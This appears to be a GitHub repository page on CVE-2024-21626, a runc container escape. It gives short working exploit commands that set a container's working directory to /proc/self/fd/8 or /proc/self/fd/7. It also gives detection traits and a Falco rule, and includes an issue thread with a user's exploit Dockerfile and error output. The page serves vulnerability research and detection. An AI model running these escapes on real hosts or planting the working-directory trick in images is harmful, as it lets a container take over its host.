cve-2024-21626's Introduction

CVE-2024-21626

For detailed explanation for this vulnerability, plz refer to my article.

Exploit

Exploit via Running a Container

No need to build a custom image, just run a container with -w parameter:

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

Exploit via Execing into a Running Container

Exploit via runc itself

~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo

How to detect

The exploits have the following characteristics:

A container will execve(2) a process with a special working directory which starts with /proc/self/fd/.
A container will create symbolic links via symlink(2) or symlinkat(2) with a special target directory link which starts with /proc/self/fd/.
A container will open files via open(2), openat(2) or openat2(2) with filenames like /proc/\d+/cwd/.*.

Leaky vessels dynamic detector from synk

https://github.com/snyk/leaky-vessels-dynamic-detector

Falco

Here is the custom Falco rule:

- macro: container
  condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
  desc: >
    Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
  condition: >
    container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
  output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
  priority: CRITICAL

But filtering false positives with proc.name is not a good idea.

References

cve-2024-21626's People

Contributors

Stargazers

Watchers

cve-2024-21626's Issues

Question about File Descriptors

I was trying to reproduce this all day yesterday but, it didnt work because I was using the wrong file descriptors.
Following are the fd in my Demo VM:

ls -lah /proc/self/fd

total 0
dr-x------ 2 rago rago  4 Feb  2 08:22 .
dr-xr-xr-x 9 rago rago  0 Feb  2 08:22 ..
lrwx------ 1 rago rago 64 Feb  2 08:22 0 -> /dev/pts/0
lrwx------ 1 rago rago 64 Feb  2 08:22 1 -> /dev/pts/0
lrwx------ 1 rago rago 64 Feb  2 08:22 2 -> /dev/pts/0
lr-x------ 1 rago rago 64 Feb  2 08:22 3 -> /proc/8465/fd

And this was my demo Dockerfile:

FROM alpine:latest

# exploit the vulnerability
WORKDIR /proc/self/fd/[ID]

# runtime shell inside container
CMD ["/bin/sh"]

I tried with every fd ID but it did not work:

docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: mkdir /proc/self/fd/3: not a directory: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type.

If I try with the one you used, /proc/self/fd/8, it works....but just with that ID alone!
Any idea why this is happening?

Recommend Projects